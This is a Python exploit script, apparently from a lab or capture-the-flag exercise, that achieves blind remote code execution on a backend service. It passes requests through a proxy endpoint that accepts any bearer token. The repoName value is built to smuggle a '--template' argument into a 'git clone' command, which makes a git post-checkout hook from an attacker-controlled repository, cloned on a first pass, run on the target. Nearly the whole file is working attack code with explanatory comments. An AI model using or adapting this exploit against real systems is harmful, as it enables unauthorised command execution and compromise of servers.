#
# This exploit takes advantage of bad input sanitization passed to a backend process that clones a repo
# It does this in two passes, first setting up a known directory on disk with known contents and then
# sneaking in a --template flag to the git clone command on the second pass and running a script from the first pass with it
#

import requests
import uuid
import urllib.parse
import sys



#bff just wants to see an auth header, doesn't care about the contents
token = 'Anything' 

headers = {
    'Authorization': 'Bearer ' + token
}

# repo with a templates/ directory that has a hooks/ directory inside with an executable post-checkout shell script file inside.
# This shell script is what will get run on the target host
# This execution will be blind, but blocking
attack_repo = sys.argv[1] if len(sys.argv) > 1 else input("Enter a [username]/[repoName] GitHub repo set up to attack from: ")

url = 'http://192.168.1.244:8080/api/function_proxy?'

first_uuid = str(uuid.uuid4())
first_params = {
        'url': 'http://backend:8080/repo_has_conf?instanceId=' + first_uuid + '&repoName=' + attack_repo
}
first_url = url + urllib.parse.urlencode(first_params)

print('Setting up cloned template attack repo...')
response = requests.get(first_url, headers=headers)
result = response.json()['result']
if result != 'Repo has a configuration!':
    print("Initial repo failed to clone properly and identify existing config. Exploit failed.")
    print(result)
    sys.exit(1)
print('Cloned template attack repo.')
print('Setting up malicious clone command with --template set...')

second_uuid = str(uuid.uuid4())
# --template can point to a directory already on the disk and this will allow it to use the directory during the clone process as a git template folder
# if a post checkout hook exists in there, it will run after cloning and checking out this repo, allowing us to get RCE
# -j "1 is used to consume the extra leftover quote
malicious_repo_name = attack_repo + '" --template ' + first_uuid + '/templates -j "1'
second_params = {
        'url': 'http://backend:8080/repo_has_conf?instanceId=' + second_uuid + '&repoName=' + malicious_repo_name
}
second_url = url + urllib.parse.urlencode(second_params)

response = requests.get(second_url, headers=headers)
result = response.json()['result']
if result != 'Repo has a configuration!':
    print("Failed to clone attack repo, exploit likely failed!")
    print(result)
    sys.exit(2)
print("Cloned attack repo successfully, exploit possibly succeeded")
